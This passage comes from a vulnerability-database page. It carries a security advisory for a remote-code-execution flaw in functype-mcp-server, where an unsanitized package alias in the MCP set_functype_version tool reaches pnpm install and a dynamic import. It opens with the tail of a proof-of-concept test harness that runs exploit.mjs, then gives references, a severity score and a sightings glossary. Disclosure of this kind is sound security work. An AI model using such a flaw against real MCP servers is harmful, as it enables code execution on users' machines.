\ud655\uc778 \ud544\uc694 \u2014 pnpm \uac00\uc0c1 \uc2a4\ud1a0\uc5b4 \uad6c\uc870\ub85c \uc778\ud574 \"\n \"node_modules/functype \uc2ec\ubcfc\ub9ad\ub9c1\ud06c\uac00 \uc608\uc0c1 \uc704\uce58\uc5d0 \uc5c6\uc744 \uc218 \uc788\uc74c.\"\n )\n else:\n verdict = \"FAIL\"\n reason = (\n f\"\ucee8\ud14c\uc774\ub108 \uc885\ub8cc \ucf54\ub4dc {run_result.returncode}. \"\n \"exploit.mjs \uc624\ub958 \ub610\ub294 MCP \uc11c\ubc84 \uc2dc\uc791 \uc2e4\ud328. \ub85c\uadf8 \ud655\uc778 \ud544\uc694.\"\n )\n\n write_result(False, verdict, reason, combined[-2000:])\n print(f\"[poc] === {verdict}: exploit did not reproduce ===\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-wcjj-9m6g-2fr2",
"modified": "2026-09-09T23:49:20Z",
"published": "2026-09-09T23:49:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jordanburke/functype/security/advisories/GHSA-wcjj-9m6g-2fr2"
},
{
"type": "WEB",
"url": "https://github.com/jordanburke/functype/commit/c0d58ad9c2a7d15c6117bd3adbbd75de37317dcf"
},
{
"type": "PACKAGE",
"url": "https://github.com/jordanburke/functype"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.